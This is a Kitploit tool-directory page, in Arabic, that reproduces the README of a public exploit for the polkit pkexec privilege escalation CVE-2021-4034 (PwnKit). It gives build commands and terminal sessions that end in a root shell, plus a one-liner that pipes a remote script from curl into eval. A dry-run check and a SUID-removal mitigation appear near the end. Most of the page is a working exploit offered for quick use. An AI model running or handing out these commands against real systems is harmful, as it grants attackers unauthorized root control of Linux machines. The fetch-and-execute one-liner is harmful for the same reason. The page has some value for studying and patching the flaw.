Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
berdav-CVE-2021-4034 — استغلال لثغرة CVE-2021-4034 (PwnKit) يوفر شل صلاحيات الجذر عبر polkit pkexec. يتضمن وضع تجربة جافة لاختبار الثغرة وسكربت سطر واحد للاستغلال السريع. | Kitploit
أدوات/GitHubGitHub/thejoyofhacking/berdav-cve-2021-4034
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمر
GitHubthejoyofhacking/berdav-cve-2021-4034

berdav-CVE-2021-4034

استغلال لثغرة CVE-2021-4034 (PwnKit) يوفر شل صلاحيات الجذر عبر polkit pkexec. يتضمن وضع تجربة جافة لاختبار الثغرة وسكربت سطر واحد للاستغلال السريع.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
4منذ 4 سنواتلم تتم المراجعة بعد

CVE-2021-4034

يوم واحد لاستغلال رفع الصلاحيات في polkit

فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر (root shell).

النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا

إثبات المفهوم (PoC)

إذا كان الاستغلال يعمل، ستحصل على جذر (root shell) فورًا:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

تحديث polkit على معظم الأنظمة سيصلح الثغرة، لذلك ستحصل على رسالة الاستخدام وسيخرج البرنامج:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

تشغيل تجريبي (Dry Run)

لعدم تنفيذ شل ولكن فقط لاختبار ما إذا كان النظام عرضة للثغرة، قم بتجميع هدف dry-run.

إذا طبع البرنامج "root" ثم خرج، فهذا يعني أن نظامك عرضة للاستغلال.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

إذا كان نظامك غير عرضة للثغرة، فسيطبع خطأ ويخرج.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

حول Polkit pkexec لنظام Linux

Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الصلاحيات على مستوى النظام في أنظمة التشغيل الشبيهة بـ Unix. يوفر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. من الممكن أيضًا استخدام polkit لتنفيذ أوامر بصلاحيات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحية الجذر).

أوامر سطر واحد

يمكنك بسهولة استغلال النظام باستخدام سكربت واحد، قابل للتنزيل والتنفيذ بهذا الأمر:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

التخفيف (Mitigation)

إذا لم تتوفر تصحيحات لنظام التشغيل الخاص بك، يمكنك إزالة بت SUID من pkexec كإجراء تخفيف مؤقت.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

عندها سيفشل الاستغلال مع رسالة تفيد بأن pkexec يجب أن يكون لديه بت setuid مفعّل.

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
تنزيل الأداة